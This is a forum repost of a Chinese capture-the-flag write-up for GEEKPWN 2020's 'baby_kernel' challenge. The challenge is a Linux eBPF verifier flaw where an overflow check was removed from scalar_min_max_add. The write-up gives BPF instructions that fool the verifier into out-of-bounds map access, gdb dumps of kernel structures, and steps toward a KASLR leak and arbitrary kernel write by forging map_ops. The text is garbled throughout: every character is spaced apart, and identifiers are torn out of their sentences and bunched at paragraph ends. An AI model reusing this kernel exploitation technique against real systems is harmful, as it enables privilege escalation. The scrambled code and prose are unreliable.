搜索

[18212] 2020-11-26_GEEKPWN2020-云安全挑战赛决赛-baby_kernel题解

文档创建者：s7ckTeam
浏览次数：12
最后更新：2025-01-18
2020-11-26_GEEKPWN2020-云安全挑战赛决赛-baby_kernel题解 G E E K P W N 2 0 2 0 - 云 安 全 挑 战 赛 决 赛 - b a b y _ k e r n e l 题 解 a m a 2 i n 9   H A C K 之 道   2 0 2 0 - 1 1 - 2 6 前 言 前 言 上 周 参 加 了 酷 炫 的 G E E K P W N 大 会 ， 比 赛 时 未 能 解 出 这 道 题 目 ， 因 为 是 b p f 相 关 的 洞 ， 之 前 也 有 一 点 了 解 ， 赛 后 七 哥 不 厌 其 烦 地 给 我 指 导 ， 最 终 成 功 解 出 ， 非 常 感 谢 师 傅 的 帮 助 。 本 文 相 关 文 件 在 这 里 （ h t t p s : / / g i t h u b . c o m / x m z y s h y p n c / x z _ f i l e s ） 漏 洞 挖 掘 漏 洞 挖 掘 附 件 里 贴 心 地 给 了 s o u r c e 源 码 和 l i n u x - 5 . 8 . 6 的 源 码 ， 我 们 拿 比 较 一 下 两 个 项 目 文 件 夹 ， 可 以 找 到 不 同 的 文 件 ， 拿 v s c o d e 比 较 一 下 具 体 地 文 件 ， 即 可 看 到 的 结 果 . 可 以 看 到 在 文 件 中 的 函 数 中 缺 失 了 溢 出 检 查 。 s u n i c h i b e y o n d   c o m p a r e d i f f v e r i f i e r . c s c a l a r _ m i n _ m a x _ a d d
具 体 看 一 下 此 处 的 代 码 和 调 用 , 只 跟 到 就 差 不 多 了 ， 因 为 之 前 我 们 分 析 b p f 漏 洞 的 时 候 知 道 核 心 检 查 函 数 中 会 调 用 此 函 数 。 因 此 最 后 的 漏 洞 调 用 链 为 ： - > - > - > - > 。 / / v e r i f i e r . c s t a t i c   i n t   a d j u s t _ s c a l a r _ m i n _ m a x _ v a l s ( s t r u c t   b p f _ v e r i f i e r _ e n v   * e n v ,                                             s t r u c t   b p f _ i n s n   * i n s n ,                                             s t r u c t   b p f _ r e g _ s t a t e   * d s t _ r e g ,                                             s t r u c t   b p f _ r e g _ s t a t e   s r c _ r e g ) {         s w i t c h   ( o p c o d e )   {         c a s e   B P F _ A D D :                 r e t   =   s a n i t i z e _ v a l _ a l u ( e n v ,   i n s n ) ;                 i f   ( r e t   <   0 )   {                         v e r b o s e ( e n v ,   " R % d   t r i e d   t o   a d d   f r o m   d i f f e r e n t   p o i n t e r s   o r   s c a l a r s n " ,   d s t ) ;                         r e t u r n   r e t ;                 } c h e c k _ a l u _ o p d o _ c h e c k d o _ c h e c k c h e c k _ a l u _ o p a d j u s t _ r e g _ m i n _ m a x _ v a l s a d j u s t _ s c a l a r _ m i n _ m a x _ v a l s s c a l a r _ m i n _ m a x _ a d d
                s c a l a r 3 2 _ m i n _ m a x _ a d d ( d s t _ r e g ,   & s r c _ r e g ) ;                 s c a l a r _ m i n _ m a x _ a d d ( d s t _ r e g ,   & s r c _ r e g ) ;                 d s t _ r e g - > v a r _ o f f   =   t n u m _ a d d ( d s t _ r e g - > v a r _ o f f ,   s r c _ r e g . v a r _ o f f ) ;                 b r e a k ;                 / / . . .         } } / / s t a t i c   i n t   a d j u s t _ r e g _ m i n _ m a x _ v a l s ( s t r u c t   b p f _ v e r i f i e r _ e n v   * e n v ,                                       s t r u c t   b p f _ i n s n   * i n s n ) {         / / . . .         r e t u r n   a d j u s t _ s c a l a r _ m i n _ m a x _ v a l s ( e n v ,   i n s n ,   d s t _ r e g ,   * s r c _ r e g ) ; } / / / *   c h e c k   v a l i d i t y   o f   3 2 - b i t   a n d   6 4 - b i t   a r i t h m e t i c   o p e r a t i o n s   * / s t a t i c   i n t   c h e c k _ a l u _ o p ( s t r u c t   b p f _ v e r i f i e r _ e n v   * e n v ,   s t r u c t   b p f _ i n s n   * i n s n ) {         / / . . .         e l s e   {     / *   a l l   o t h e r   A L U   o p s :   a n d ,   s u b ,   x o r ,   a d d ,   . . .   * /                 i f   ( B P F _ S R C ( i n s n - > c o d e )   = =   B P F _ X )   {                         i f   ( i n s n - > i m m   ! =   0   | |   i n s n - > o f f   ! =   0 )   {                                 v e r b o s e ( e n v ,   " B P F _ A L U   u s e s   r e s e r v e d   f i e l d s n " ) ;                                 r e t u r n   - E I N V A L ;                         }                         / *   c h e c k   s r c 1   o p e r a n d   * /                         e r r   =   c h e c k _ r e g _ a r g ( e n v ,   i n s n - > s r c _ r e g ,   S R C _ O P ) ;                         i f   ( e r r )                                 r e t u r n   e r r ;                 }   e l s e   {                         i f   ( i n s n - > s r c _ r e g   ! =   B P F _ R E G _ 0   | |   i n s n - > o f f   ! =   0 )   {                                 v e r b o s e ( e n v ,   " B P F _ A L U   u s e s   r e s e r v e d   f i e l d s n " ) ;                                 r e t u r n   - E I N V A L ;                         }                 }                 / *   c h e c k   s r c 2   o p e r a n d   * /                 e r r   =   c h e c k _ r e g _ a r g ( e n v ,   i n s n - > d s t _ r e g ,   S R C _ O P ) ;                 i f   ( e r r )                         r e t u r n   e r r ;                 i f   ( ( o p c o d e   = =   B P F _ M O D   | |   o p c o d e   = =   B P F _ D I V )   & &                         B P F _ S R C ( i n s n - > c o d e )   = =   B P F _ K   & &   i n s n - > i m m   = =   0 )   {                         v e r b o s e ( e n v ,   " d i v   b y   z e r o n " ) ;                         r e t u r n   - E I N V A L ;                 }                 i f   ( ( o p c o d e   = =   B P F _ L S H   | |   o p c o d e   = =   B P F _ R S H   | |                           o p c o d e   = =   B P F _ A R S H )   & &   B P F _ S R C ( i n s n - > c o d e )   = =   B P F _ K )   {                         i n t   s i z e   =   B P F _ C L A S S ( i n s n - > c o d e )   = =   B P F _ A L U 6 4   ?   6 4   :   3 2 ;
                        i n t   s i z e   =   B P F _ C L A S S ( i n s n - > c o d e )   = =   B P F _ A L U 6 4   ?   6 4   :   3 2 ;                         i f   ( i n s n - > i m m   <   0   | |   i n s n - > i m m   > =   s i z e )   {                                 v e r b o s e ( e n v ,   " i n v a l i d   s h i f t   % d n " ,   i n s n - > i m m ) ;                                 r e t u r n   - E I N V A L ;                         }                 }                 / *   c h e c k   d e s t   o p e r a n d   * /                 e r r   =   c h e c k _ r e g _ a r g ( e n v ,   i n s n - > d s t _ r e g ,   D S T _ O P _ N O _ M A R K ) ;                 i f   ( e r r )                         r e t u r n   e r r ;                 r e t u r n   a d j u s t _ r e g _ m i n _ m a x _ v a l s ( e n v ,   i n s n ) ;         } } s t a t i c   b o o l   s i g n e d _ a d d _ o v e r f l o w s ( s 6 4   a ,   s 6 4   b ) {         / *   D o   t h e   a d d   i n   u 6 4 ,   w h e r e   o v e r f l o w   i s   w e l l - d e f i n e d   * /         s 6 4   r e s   =   ( s 6 4 ) ( ( u 6 4 ) a   +   ( u 6 4 ) b ) ;         i f   ( b   <   0 )                 r e t u r n   r e s   >   a ;         r e t u r n   r e s   <   a ; } 漏 洞 分 析 漏 洞 分 析 看 到 这 个 洞 很 容 易 想 到 今 年 p w n 2 o w n 上 的 一 个 e b p f 洞 ， 这 个 洞 之 前 看 到 了 没 有 分 析 ， 比 赛 的 时 候 又 去 现 学 了 一 下 C V E - 2 0 2 0 - 8 8 3 5   p w n 2 o w n   2 0 2 0   e b p f   提 权 漏 洞 分 析 和 C V E - 2 0 2 0 - 8 8 3 5 p w n 2 o w n   2 0 2 0   e b p f   通 过 任 意 读 写 提 权 分 析 ， 简 单 说 ， 漏 洞 在 于 计 算 t n u m 的 时 候 使 用 的 是 s m i n _ v a l 和 s m a x _ v a l 的 低 3 2 b i t ， 这 导 致 0 x 1 0 0 0 0 0 0 0 1 和 0 x 1 在 函 数 看 来 是 一 样 的 ， 因 此 会 被 v e r i f i e r 认 为 是 1 ， 从 而 被 认 为 是 0 ， 而 实 际 上 我 们 传 入 n = 2 ， 即 可 得 到 1 ， 再 进 行 计 算 从 而 造 成 越 界 读 写 。 借 鉴 上 述 漏 洞 的 想 法 ， 我 们 把 作 为 一 个 v m 的 检 查 ， 要 执 行 的 数 据 先 拿 进 去 检 查 一 遍 ， 在 检 查 过 程 中 和 会 进 行 检 查 和 更 新 ， 其 范 围 表 示 v e r i f i e r 认 为 的 某 个 寄 存 器 输 入 的 范 围 。 假 如 我 们 可 以 通 过 一 些 手 段 欺 骗 其 认 为 寄 存 器 范 围 是 一 个 常 数 C ， 后 面 再 通 过 一 些 计 算 ( 移 位 ， 乘 除 ) 使 寄 存 器 范 围 变 为 常 数 0 . 而 0 乘 除 任 何 数 字 都 是 0 ， 而 实 际 可 以 传 入 非 零 值 得 到 其 他 值 ， 这 就 可 以 帮 助 我 们 进 行 m a p 的 越 界 读 写 。 那 么 这 个 洞 要 怎 么 达 到 上 述 效 果 呢 ？ 比 赛 的 时 候 我 一 直 在 尝 试 用 来 进 行 调 整 ， 使 其 ， 然 而 发 现 要 使 得 ( n & 2 ) > > 1 B P F _ M U L v e r i f i e r s m i n _ v a l s m a x _ v a l B P F _ A L U 6 4 _ I M M s m i n _ v a l = = s m a x _ v a l = = 0 a + x = = b + x ( m o d   0 x 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 )
， 除 非 a 本 身 = = b + 0 x 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 。 这 条 路 并 不 可 行 ， 在 参 考 文 章 里 的 核 心 越 界 指 令 是 ， 其 中 r 7 被 越 界 改 为 & m a p _ a d d r - 0 x 1 1 0 ， 我 们 看 下 这 个 指 令 的 检 查 条 件 ， 其 核 心 检 查 函 数 为 。 可 以 看 到 需 要 大 于 等 于 0 ， 因 此 我 们 必 须 t r i c k 使 得 。 / / v e r i f i e r . c / *   c h e c k   r e a d / w r i t e   i n t o   m e m o r y   r e g i o n   ( e . g . ,   m a p   v a l u e ,   r i n g b u f   s a m p l e ,   e t c )   * / s t a t i c   i n t   _ _ c h e c k _ m e m _ a c c e s s ( s t r u c t   b p f _ v e r i f i e r _ e n v   * e n v ,   i n t   r e g n o ,                                     i n t   o f f ,   i n t   s i z e ,   u 3 2   m e m _ s i z e ,                                     b o o l   z e r o _ s i z e _ a l l o w e d ) {         b o o l   s i z e _ o k   =   s i z e   >   0   | |   ( s i z e   = =   0   & &   z e r o _ s i z e _ a l l o w e d ) ;         s t r u c t   b p f _ r e g _ s t a t e   * r e g ;         i f   ( o f f   > =   0   & &   s i z e _ o k   & &   ( u 6 4 ) o f f   +   s i z e   < =   m e m _ s i z e )                 r e t u r n   0 ;         r e g   =   & c u r _ r e g s ( e n v ) [ r e g n o ] ;         s w i t c h   ( r e g - > t y p e )   {         c a s e   P T R _ T O _ M A P _ V A L U E :                 v e r b o s e ( e n v ,   " i n v a l i d   a c c e s s   t o   m a p   v a l u e ,   v a l u e _ s i z e = % d   o f f = % d   s i z e = % d n " ,                         m e m _ s i z e ,   o f f ,   s i z e ) ;                 b r e a k ;         c a s e   P T R _ T O _ P A C K E T :         c a s e   P T R _ T O _ P A C K E T _ M E T A :         c a s e   P T R _ T O _ P A C K E T _ E N D :                 v e r b o s e ( e n v ,   " i n v a l i d   a c c e s s   t o   p a c k e t ,   o f f = % d   s i z e = % d ,   R % d ( i d = % d , o f f = % d , r = % d ) n " ,                         o f f ,   s i z e ,   r e g n o ,   r e g - > i d ,   o f f ,   m e m _ s i z e ) ;                 b r e a k ;         c a s e   P T R _ T O _ M E M :         d e f a u l t :                 v e r b o s e ( e n v ,   " i n v a l i d   a c c e s s   t o   m e m o r y ,   m e m _ s i z e = % u   o f f = % d   s i z e = % d n " ,                         m e m _ s i z e ,   o f f ,   s i z e ) ;         }         r e t u r n   - E A C C E S ; } 赛 后 1 7 师 傅 提 示 说 可 以 使 用 来 达 到 我 们 的 目 的 ， 我 们 先 来 看 下 和 a + x = = b + x ( m o d   0 x 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ) B P F _ L D X _ M E M ( B P F _ D W , 0 , 7 , 0 ) B P F _ L D X _ M E M _ _ c h e c k _ m e m _ a c c e s s o f f s m i n _ v a l = = s m a x _ v a l = = 0 B P F _ A L U 6 4 _ R E G s m i n _ v a l
的 初 始 值 和 。 其 值 分 别 为 和 。 我 们 来 看 下 面 的 一 组 b p f 指 令 。 根 据 其 初 始 值 可 以 看 到 r 8 的 s m i n 和 s m a x 分 别 经 历 了 以 及 的 变 化 ， 最 终 s m i n = = s m a x = = 0 ， 这 是 v e r i f i e r 做 出 的 判 断 。 然 而 如 果 我 们 输 入 ， 满 足 开 始 的 s m i n 和 s m a x 条 件 ， 实 际 计 算 出 来 的 结 果 确 是 。 二 者 结 果 不 一 致 ， 我 们 可 以 绕 过 检 查 进 行 越 界 读 写 。 地 址 泄 露 地 址 泄 露 任 意 读 和 参 考 文 章 的 做 法 一 致 ， 我 们 看 下 核 心 的 数 据 结 构 ， 其 中 的 v a l u e 字 段 对 应 我 们 输 入 m a p 的 地 址 ， 其 - 0 x 1 1 0 的 偏 移 处 保 存 着 字 段 ， 它 是 一 个 全 局 的 变 量 ， 存 储 在 v m l i n u x 内 核 文 件 的 d a t a 段 ， 通 过 它 可 以 l e a k 出 k a s l r 的 基 址 ， 通 过 可 以 泄 露 出 m a p 的 地 址 。 在 师 傅 的 文 章 中 ， 其 构 造 了 任 意 读 来 获 取 c r e d 的 地 址 ， 这 里 因 为 我 没 有 起 r o o t   s h e l l 所 以 就 只 泄 露 了 这 两 个 地 址 。 g e f ➤     p / a   * ( s t r u c t   b p f _ a r r a y * )   0 x f f f f 8 8 8 0 0 5 8 4 0 0 0 0 $ 1   =   {     m a p   =   {         o p s   =   0 x f f f f f f f f 8 2 0 1 6 8 8 0   < a r r a y _ m a p _ o p s > ,         i n n e r _ m a p _ m e t a   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,         s e c u r i t y   =   0 x f f f f 8 8 8 0 0 6 7 9 d f 0 0 ,         m a p _ t y p e   =   0 x 2   < f i x e d _ p e r c p u _ d a t a + 2 > ,         k e y _ s i z e   =   0 x 4   < f i x e d _ p e r c p u _ d a t a + 4 > ,         v a l u e _ s i z e   =   0 x 2 0 0 0   < i r q _ s t a c k _ b a c k i n g _ s t o r e > ,         m a x _ e n t r i e s   =   0 x 1   < f i x e d _ p e r c p u _ d a t a + 1 > ,         m a p _ f l a g s   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,         s p i n _ l o c k _ o f f   =   0 x f f f f f f f f f f f f f f e a ,         i d   =   0 x 4   < f i x e d _ p e r c p u _ d a t a + 4 > , s m a x _ v a l S 6 4 _ M I N S 6 4 _ M A X 0 x 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 x 7 f f f f f f f f f f f f f f f 0 x 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 - > 0 x 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 - > 0 x 4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 - > 0 x 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 - > 0 0 x 7 f f f f f f f f f f f f f f f - > 0 x 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 - > 0 x 4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 - > 0 x 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 - > 0 r 8 = = 0 x 1 0 0 0 0 0 0 0 0 0 x 1 0 0 0 0 0 0 0 0 - > 0 x 1 0 0 0 0 0 0 0 1 - > 0 x 8 0 0 0 0 0 0 0 - > 0 x 1 0 0 0 0 0 0 0 0 - > 0 x 2 0 0 0 0 0 0 0 0 - > 2 - > 0 x 1 1 0 B P F _ A L U 6 4 _ I M M ( B P F _ A D D , 8 , 1 ) ,           / / r 8   + =   1         B P F _ A L U 6 4 _ I M M ( B P F _ R S H , 8 , 1 ) ,           / / r 8   > >   1         B P F _ A L U 6 4 _ I M M ( B P F _ L S H , 8 , 1 ) ,           / / r 8   < <   1         B P F _ A L U 6 4 _ R E G ( B P F _ A D D , 8 , 8 ) ,           / / r 8   + =   r 8 ( o v e r f l o w )         B P F _ A L U 6 4 _ I M M ( B P F _ R S H , 8 , 3 2 ) ,         / / r 8   > > =   3 2         B P F _ A L U 6 4 _ I M M ( B P F _ M U L , 8 , 0 x 1 1 0 / 2 ) ,   / / r 8   * =   0 x 1 1 0 b p f _ a r r a y a r r a y _ m a p _ o p s w a i t _ l i s t - > n e x t d e 4 d c r 0 w
        i d   =   0 x 4   < f i x e d _ p e r c p u _ d a t a + 4 > ,         n u m a _ n o d e   =   0 x f f f f f f f f f f f f f f f f ,         b t f _ k e y _ t y p e _ i d   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,         b t f _ v a l u e _ t y p e _ i d   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,         b t f   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,         m e m o r y   =   {             p a g e s   =   0 x 3   < f i x e d _ p e r c p u _ d a t a + 3 > ,             u s e r   =   0 x f f f f 8 8 8 0 0 6 7 d e 3 0 0         } ,         n a m e   =   { 0 x 0   < f i x e d _ p e r c p u _ d a t a >   < r e p e a t s   1 6   t i m e s > } ,         b t f _ v m l i n u x _ v a l u e _ t y p e _ i d   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,         b y p a s s _ s p e c _ v 1   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,         f r o z e n   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,         r e f c n t   =   {             c o u n t e r   =   0 x 2   < f i x e d _ p e r c p u _ d a t a + 2 >         } ,         u s e r c n t   =   {             c o u n t e r   =   0 x 1   < f i x e d _ p e r c p u _ d a t a + 1 >         } ,         w o r k   =   {             d a t a   =   {                 c o u n t e r   =   0 x 0   < f i x e d _ p e r c p u _ d a t a >             } ,             e n t r y   =   {                 n e x t   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,                 p r e v   =   0 x 0   < f i x e d _ p e r c p u _ d a t a >             } ,             f u n c   =   0 x 0   < f i x e d _ p e r c p u _ d a t a >         } ,         f r e e z e _ m u t e x   =   {             o w n e r   =   {                 c o u n t e r   =   0 x 0   < f i x e d _ p e r c p u _ d a t a >             } ,             w a i t _ l o c k   =   {                 {                     r l o c k   =   {                         r a w _ l o c k   =   {                             {                                 v a l   =   {                                     c o u n t e r   =   0 x 0   < f i x e d _ p e r c p u _ d a t a >                                 } ,                                 {                                     l o c k e d   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,                                     p e n d i n g   =   0 x 0   < f i x e d _ p e r c p u _ d a t a >                                 } ,                                 {                                     l o c k e d _ p e n d i n g   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,                                     t a i l   =   0 x 0   < f i x e d _ p e r c p u _ d a t a >                                 }                             }                         }
                    }                 }             } ,             o s q   =   {                 t a i l   =   {                     c o u n t e r   =   0 x 0   < f i x e d _ p e r c p u _ d a t a >                 }             } ,             w a i t _ l i s t   =   {                 n e x t   =   0 x f f f f 8 8 8 0 0 5 8 4 0 0 c 0 ,                 p r e v   =   0 x f f f f 8 8 8 0 0 5 8 4 0 0 c 0             }         } ,         w r i t e c n t   =   0 x 0   < f i x e d _ p e r c p u _ d a t a >     } ,     e l e m _ s i z e   =   0 x 2 0 0 0   < i r q _ s t a c k _ b a c k i n g _ s t o r e > ,     i n d e x _ m a s k   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     a u x   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     {         v a l u e   =   0 x f f f f 8 8 8 0 0 5 8 4 0 1 1 0 , / / 这 里 是 m a p _ e l e m e n t 的 地 址         p t r s   =   0 x f f f f 8 8 8 0 0 5 8 4 0 1 1 0 ,         p p t r s   =   0 x f f f f 8 8 8 0 0 5 8 4 0 1 1 0     } } 任 意 地 址 写 任 意 地 址 写 任 意 地 址 写 的 利 用 链 依 然 是 参 照 师 傅 的 做 法 ， 首 先 看 一 下 成 员 ， 我 们 可 以 通 过 地 址 越 界 写 覆 写 a r r a y _ m a p _ o p s 成 员 为 ， 从 而 伪 造 m a p _ o p s 。 r t f i n g c a r r a y _ m a p _ o p s m a p _ e l e m e n t _ a d d r
g e f ➤     p / a   * ( s t r u c t   b p f _ m a p _ o p s   * )   0 x f f f f f f f f 8 2 0 1 6 8 8 0 $ 2   =   {     m a p _ a l l o c _ c h e c k   =   0 x f f f f f f f f 8 1 1 6 2 e f 0   < a r r a y _ m a p _ a l l o c _ c h e c k > ,     m a p _ a l l o c   =   0 x f f f f f f f f 8 1 1 6 3 d f 0   < a r r a y _ m a p _ a l l o c > ,     m a p _ r e l e a s e   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     m a p _ f r e e   =   0 x f f f f f f f f 8 1 1 6 3 6 c 0   < a r r a y _ m a p _ f r e e > ,     m a p _ g e t _ n e x t _ k e y   =   0 x f f f f f f f f 8 1 1 6 2 f e 0   < a r r a y _ m a p _ g e t _ n e x t _ k e y > ,     m a p _ r e l e a s e _ u r e f   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     m a p _ l o o k u p _ e l e m _ s y s _ o n l y   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     m a p _ l o o k u p _ b a t c h   =   0 x f f f f f f f f 8 1 1 4 9 2 4 0   < g e n e r i c _ m a p _ l o o k u p _ b a t c h > ,     m a p _ l o o k u p _ a n d _ d e l e t e _ b a t c h   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     m a p _ u p d a t e _ b a t c h   =   0 x f f f f f f f f 8 1 1 4 9 0 2 0   < g e n e r i c _ m a p _ u p d a t e _ b a t c h > ,     m a p _ d e l e t e _ b a t c h   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     m a p _ l o o k u p _ e l e m   =   0 x f f f f f f f f 8 1 1 6 3 0 6 0   < a r r a y _ m a p _ l o o k u p _ e l e m > ,     m a p _ u p d a t e _ e l e m   =   0 x f f f f f f f f 8 1 1 6 3 5 b 0   < a r r a y _ m a p _ u p d a t e _ e l e m > ,     m a p _ d e l e t e _ e l e m   =   0 x f f f f f f f f 8 1 1 6 3 0 1 0   < a r r a y _ m a p _ d e l e t e _ e l e m > ,     m a p _ p u s h _ e l e m   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     m a p _ p o p _ e l e m   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     m a p _ p e e k _ e l e m   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     m a p _ f d _ g e t _ p t r   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     m a p _ f d _ p u t _ p t r   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     m a p _ g e n _ l o o k u p   =   0 x f f f f f f f f 8 1 1 6 3 3 1 0   < a r r a y _ m a p _ g e n _ l o o k u p > ,     m a p _ f d _ s y s _ l o o k u p _ e l e m   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     m a p _ s e q _ s h o w _ e l e m   =   0 x f f f f f f f f 8 1 1 6 3 1 4 0   < a r r a y _ m a p _ s e q _ s h o w _ e l e m > ,     m a p _ c h e c k _ b t f   =   0 x f f f f f f f f 8 1 1 6 3 c 6 0   < a r r a y _ m a p _ c h e c k _ b t f > ,     m a p _ p o k e _ t r a c k   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     m a p _ p o k e _ u n t r a c k   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     m a p _ p o k e _ r u n   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     m a p _ d i r e c t _ v a l u e _ a d d r   =   0 x f f f f f f f f 8 1 1 6 2 f 7 0   < a r r a y _ m a p _ d i r e c t _ v a l u e _ a d d r > ,     m a p _ d i r e c t _ v a l u e _ m e t a   =   0 x f f f f f f f f 8 1 1 6 2 f a 0   < a r r a y _ m a p _ d i r e c t _ v a l u e _ m e t a > ,     m a p _ m m a p   =   0 x f f f f f f f f 8 1 1 6 3 0 e 0   < a r r a y _ m a p _ m m a p > ,     m a p _ p o l l   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > } 我 们 将 改 为 ， 在 调 用 的 时 候 会 调 用 ， 但 是 需 要 m a p 的 类 型 为 或 者 。 看 一 下 调 用 链 ， m a p _ u p d a t e _ e l e m 函 数 中 的 m a p _ p u s h _ e l e m m a p _ g e t _ n e x t _ k e y m a p _ u p d a t e _ e l e m m a p _ p u s h _ e l e m B P F _ M A P _ T Y P E _ Q U E U E B P F _ M A P _ T Y P E _ S T A C K b p f _ m a p _ u p d a t e _ v a l u e ( m a p ,   f ,   k e y ,   v a l u e ,   a t t r - > f l a g s ) ;
调 用 b p f _ m a p _ u p d a t e _ v a l u e 函 数 的 ， 最 终 调 用 了 。 其 中 对 应 ， 对 应 。 最 终 当 时 ， 有 ， 即 。 因 为 是 无 符 号 数 比 较 ， 我 们 利 用 越 界 写 提 前 布 置 即 可 进 行 地 址 任 意 写 。 s t a t i c   i n t   m a p _ u p d a t e _ e l e m ( u n i o n   b p f _ a t t r   * a t t r ) {         v o i d   _ _ u s e r   * u k e y   =   u 6 4 _ t o _ u s e r _ p t r ( a t t r - > k e y ) ;         v o i d   _ _ u s e r   * u v a l u e   =   u 6 4 _ t o _ u s e r _ p t r ( a t t r - > v a l u e ) ;         i n t   u f d   =   a t t r - > m a p _ f d ;         s t r u c t   b p f _ m a p   * m a p ;         v o i d   * k e y ,   * v a l u e ;         u 3 2   v a l u e _ s i z e ;         s t r u c t   f d   f ;         i n t   e r r ;         i f   ( C H E C K _ A T T R ( B P F _ M A P _ U P D A T E _ E L E M ) )                 r e t u r n   - E I N V A L ;         f   =   f d g e t ( u f d ) ;         m a p   =   _ _ b p f _ m a p _ g e t ( f ) ;         i f   ( I S _ E R R ( m a p ) )                 r e t u r n   P T R _ E R R ( m a p ) ;         i f   ( ! ( m a p _ g e t _ s y s _ p e r m s ( m a p ,   f )   &   F M O D E _ C A N _ W R I T E ) )   {                 e r r   =   - E P E R M ;                 g o t o   e r r _ p u t ;         }         i f   ( ( a t t r - > f l a g s   &   B P F _ F _ L O C K )   & &                 ! m a p _ v a l u e _ h a s _ s p i n _ l o c k ( m a p ) )   {                 e r r   =   - E I N V A L ; m a p - > o p s - > m a p _ p u s h _ e l e m ( m a p ,   v a l u e ,   f l a g s ) ; a r r a y _ m a p _ g e t _ n e x t _ k e y ( s t r u c t   b p f _ m a p   * m a p ,   v o i d   * k e y ,   v o i d   * n e x t _ k e y ) k e y v a l u e n e x t _ k e y a t t r - > f l a g s i n d e x   <   a r r a y - > m a p . m a x _ e n t r i e s * n e x t   =   i n d e x   +   1 ; * ( a t t r - > f l a g s ) = * ( u 3 2   * ) v a l u e + 1 a r r a y - > m a p . m a x _ e n t r i e s = - 1 ; m a p _ t y p e = B P F _ M A P _ T Y P E _ S T A C K
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理